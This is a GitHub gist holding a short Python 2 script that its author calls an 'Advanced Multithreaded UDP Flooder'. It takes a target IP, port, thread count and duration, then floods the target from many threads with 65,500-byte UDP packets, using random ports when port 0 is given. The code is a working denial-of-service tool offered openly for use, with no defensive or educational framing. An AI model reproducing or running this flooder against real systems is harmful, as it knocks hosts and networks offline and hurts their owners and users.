Created
July 13, 2014 17:13
-
-
Save kjseefried/235ed540c064b021a607 to your computer and use it in GitHub Desktop.
Advanced Multithreaded UDP Flooder coded by Fl0urite - don't recall where I found it
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/python | |
# Advanced Multithreaded UDP Flooder coded by Fl0urite | |
# leak.sx | |
# Hope u leik! | |
import os | |
import sys | |
import time | |
import socket | |
import random | |
from threading import Thread | |
ip=sys.argv[1] | |
port=int(sys.argv[2]) | |
threads=int(sys.argv[3]) | |
endtime=int(sys.argv[4]) | |
def udp(ip,port,floodtime): | |
global packets | |
global threads | |
global endtime | |
packets=0 | |
data="\xFF"*65500 | |
while floodtime>=time.clock(): | |
s=socket.socket(socket.AF_INET,socket.SOCK_DGRAM) | |
if port==0: | |
randport=random.randrange(1,65500) | |
s.sendto(data,(ip,randport)) | |
else: | |
s.sendto(data,(ip,port)) | |
packets+=1 | |
print "Thread "+str(threads)+" Stopping..." | |
threads-=1 | |
for i in xrange(0,threads): | |
t=Thread(target=(udp),args=(ip,port,endtime)) | |
t.start() | |
time.sleep(endtime) | |
while threads>=1: | |
print "Waiting for "+str(threads)+" threads to finish..." | |
time.sleep(1) | |
print "Sent "+str(packets)+" packets, averaging at ~"+str(packets/16/endtime)+" MB/s!" | |
exit() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment